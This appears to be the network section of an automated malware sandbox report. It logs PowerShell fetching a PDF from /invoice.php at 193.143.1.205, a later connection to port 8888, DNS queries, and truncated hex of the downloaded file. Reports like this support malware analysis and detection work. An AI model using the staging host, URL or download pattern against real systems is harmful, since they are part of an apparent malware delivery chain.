Jan 11, 2025 07:28:56.636893988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.636917114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.636950016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.636984110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.636990070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.637018919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.641123056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.647906065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.647978067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.648013115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.648036003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.648046970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.648082972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.648092031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.648118973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.648153067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.648192883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.671775103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.671791077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.671809912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.671854973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.671885967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.671896935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.671909094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.671924114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.671936989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.671943903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.671978951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.681442976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.681482077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.681493044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.681520939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.681536913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.681572914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.681585073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.681649923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.681660891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.681696892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.681698084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.681709051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.681740046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.681857109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.681868076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.681878090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.681889057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.681895971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.681912899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.681948900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.681960106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.681968927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.681979895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.681991100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.682018042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.682087898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.682100058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.682110071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.682121038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.682122946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.682131052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.682152987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.682169914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.682176113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.682269096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.682279110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.682288885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.682300091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.682310104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.682311058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.682336092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.682348013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.682497978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.682507992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.682518005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.682527065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.682535887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.682538986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.682547092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.682555914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.682563066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.682579994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.682729959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.682745934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.682756901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.682765961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.682770967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.682776928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.682787895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.682796955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.682799101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.682809114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.682825089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.682838917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.683005095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.683022022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.683032990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.683042049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.683052063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.683058977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.683063030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.683073044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.683073997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.683084011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.683094978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.683094978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.683104992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.683113098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.683116913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.683126926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.683142900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.683168888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.683331966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.683342934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.683358908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.683367968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.683374882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.683388948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.683532953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.683543921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.683553934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.683571100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.683579922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.683582067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.683592081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.683602095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.683605909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.683612108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.683621883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.683624983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.683631897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.683643103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.683645010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.683657885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.683681011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.683876038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.683888912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.683919907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.702912092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.702950954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.702987909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.703008890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.703022957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.703035116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.703073025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.703114033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.703140974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.703150988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.703177929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.703191042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.703289986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.703299999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.703310013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.703325987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.703332901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.703339100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.703360081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.703454971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.703465939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.703475952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.703488111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.703496933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.703500032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.703507900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.703524113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.703538895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.703566074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.703599930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.703619003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.703630924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.703645945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.703664064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.720877886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.727459908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.727544069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.727744102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.727755070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.727766037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.727791071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.727821112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.727833033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.727843046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.727853060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.727859974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.727886915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.738846064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.738866091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.738877058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.738957882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.739006042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.739018917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.739031076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.739042044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.739061117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.739083052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.759959936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.759977102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.759995937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.760008097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.760020018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.760023117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.760050058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.760068893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.760090113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.760102987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.760128021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.760148048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.772816896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.772839069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.772850037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.772860050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.772871017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.772876024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.772881985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.772907972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.772941113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.772969007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.773040056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.773096085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.773107052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.773122072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.773132086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.773139954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.773144007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.773154020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.773164034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.773164034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.773176908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.773199081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.773220062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.773358107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.773369074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.773380995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.773403883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.826503992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.830199003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:57.035136938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:57.483205080 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:57.488090038 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:57.489543915 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:57.489676952 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:57.494467020 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:58.283504963 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:58.326534033 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:59.396382093 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:29:10.980541945 CET	55850	53	192.168.2.5	1.1.1.1
Jan 11, 2025 07:29:23.030689001 CET	50710	53	192.168.2.5	1.1.1.1
Jan 11, 2025 07:29:36.671689987 CET	55133	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 07:29:10.980541945 CET	192.168.2.5	1.1.1.1	0x126e	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:29:23.030689001 CET	192.168.2.5	1.1.1.1	0x44d0	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:29:36.671689987 CET	192.168.2.5	1.1.1.1	0xa4be	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Type	Class	DNS over HTTPS
Jan 11, 2025 07:29:10.987596035 CET	1.1.1.1	192.168.2.5	0x126e	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 07:29:23.039112091 CET	1.1.1.1	192.168.2.5	0x44d0	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 07:29:36.679068089 CET	1.1.1.1	192.168.2.5	0xa4be	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	7412	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:28:55.169092894 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 07:28:55.999630928 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:28:55 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 07:28:55.999665976 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 07:28:55.999676943 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 07:28:55.999810934 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 07:28:55.999823093 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 07:28:55.999833107 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
